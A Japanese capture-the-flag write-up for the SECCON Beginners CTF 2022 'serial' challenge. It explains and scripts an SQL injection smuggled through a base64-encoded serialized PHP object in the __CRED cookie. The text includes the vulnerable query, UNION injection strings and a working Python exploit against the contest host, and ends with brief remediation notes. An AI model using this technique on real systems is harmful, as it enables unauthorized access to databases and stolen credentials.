[SECCON Beginners CTF 2022] serial

フラッグは flags テーブルの中にあるよ。ゲットできるかな?

解法

ザーッとソースコードを読むと、database.phpに一箇所だけSQLインジェクションできそうな箇所を見つけた

// database.php Ln:65
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";

$result = $this->_con->query($sql);

対象のデータはflagsテーブルの中に格納されている。

まず、ここの箇所の$user->nameに任意の文字列を持ってこなければいけない。
この関数findUserByNameは、user.phplogin関数で呼ばれている。

この関数はページが開かれるたびに呼ばれ、ユーザーのログイン状況などを確認している。

COOKIEの"__CRED"にID,ユーザー名,パスワードハッシュの情報をシリアライズしたものをbase64エンコードした文字列が入っている前提で、関数内ではそのクッキーをデコード・デシリアライズしfindUserByName関数にユーザー名を渡している。

つまり、SQLインジェクション文字列をnameの中身としてシリアライズ・エンコードしたものをクッキーに入れればいい。

SQLインジェクションした文字列がこれ。

' or password_hash = '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' UNION select body, body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags order by id desc limit 1 -- 

PHPの仕様を知らないので理由は不明だが、この$this->_con->query($sql);のクエリの飛ばし方を使うと1クエリ分しか実行できない。本当は

'; SELECT '', body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags; -

みたいな方法でインジェクションしたかったが、できなかったのでこのようにUNIONとdescで無理やりflagsを参照している。

攻撃用のスクリプト

import base64
import requests

cookies = {}

headers = {}

# Injection string
name = """' or password_hash = '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' UNION select body, body, '$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2' from flags order by id desc limit 1 -- """

# serialized body
body = """O:4:"User":3:{s:2:"id";s:3:"274";s:4:"name";s:len:"BBBBBB";s:13:"password_hash";s:60:"$2y$10$VqhKXcPuTjZhrVrMopB0WeR3fascDS85f.ZjeThlzURk0BvLI4XJ2";}"""

# replace injection payload and length
body = body.replace('len', str(len(name)))
body = body.replace('BBBBBB', name)

# encode and store
cookies['__CRED'] = base64.b64encode(body.encode('utf-8')).decode('utf-8')

# send
response = requests.get('https://serial.quals.beginners.seccon.jp/', cookies=cookies, headers=headers, allow_redirects=False)
print(base64.b64decode(response.cookies['__CRED'].replace('%3D', '=')))

ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

対策

database.phpを見る限り、SQLインジェクション脆弱性のあるfindUserByNameと脆弱性のないfindUserByNameNewの2つが存在してる。

せっかく@deprecatedがついてるのに、無視して使ったり新しいバージョンに移行しなかったりしたせいでこうなっちゃった、みたいなパターンなんでしょうか。。

deprecatedと言われたら、ちゃんと新しいバージョンや代替のものに切り替えることを志します。